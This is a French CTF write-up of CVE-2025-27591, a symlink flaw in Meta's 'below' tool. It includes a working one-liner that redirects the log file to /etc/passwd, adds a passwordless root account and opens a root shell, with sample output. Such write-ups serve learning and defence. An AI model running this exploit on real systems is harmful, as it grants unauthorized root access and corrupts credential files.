
CVE-2025-27591 – Meta below symlink following élévation de privilèges locale (HackTheBox CTF)
below| Champ | Détails |
|---|---|
| CVE | CVE-2025-27591 |
| Logiciel | Meta below (moniteur de ressources système) |
| Versions affectées | < 0.9.0 |
| Vulnérabilité | Suivi de lien symbolique → écrasement arbitraire de fichier en tant que root |
| Authentification | Utilisateur local avec accès sudo à below |
| Impact | Escalade de privilèges locale vers root |
| Contexte | Découvert lors du CTF HackTheBox |
L'outil de surveillance des ressources système below (de Meta Platforms, Inc.) contient une faille dans son mécanisme de journalisation des erreurs. Lorsqu'il est invoqué via sudo, il impose les permissions 0666 sur ses fichiers journaux situés dans /var/log/below/ sans vérifier au préalable si le chemin cible est un lien symbolique. Cela permet à un attaquant local de remplacer le fichier journal par un lien symbolique pointant vers n'importe quel fichier accessible en écriture par root, écrasant ainsi efficacement ce dernier avec un contenu contrôlé.
Le code de journalisation dans below < 0.9.0 effectue ces opérations en séquence lorsqu'il est exécuté en tant que root :
/var/log/below/error_root.logchmod(path, 0o666) — sans vérifier s'il s'agit d'un lien symboliqueÀ l'étape 4, si le chemin a été remplacé par un lien symbolique avant l'exécution, l'écriture va vers la cible du lien symbolique.
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid" fonctionneLe fait de passer une chaîne de temps invalide force below à journaliser un message d'erreur. Le chemin d'erreur atteint le code de journalisation qui écrit aveuglément dans le fichier, qui est maintenant notre lien symbolique.
chmod +x exploit.sh
./exploit.sh
Prérequis : L'utilisateur actuel doit avoir les droits
sudopour exécuter/usr/bin/below.
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
La vulnérabilité a été corrigée dans la version 0.9.0 de below. Le correctif introduit une vérification de lien symbolique avant toute opération sur les fichiers dans le chemin de journalisation.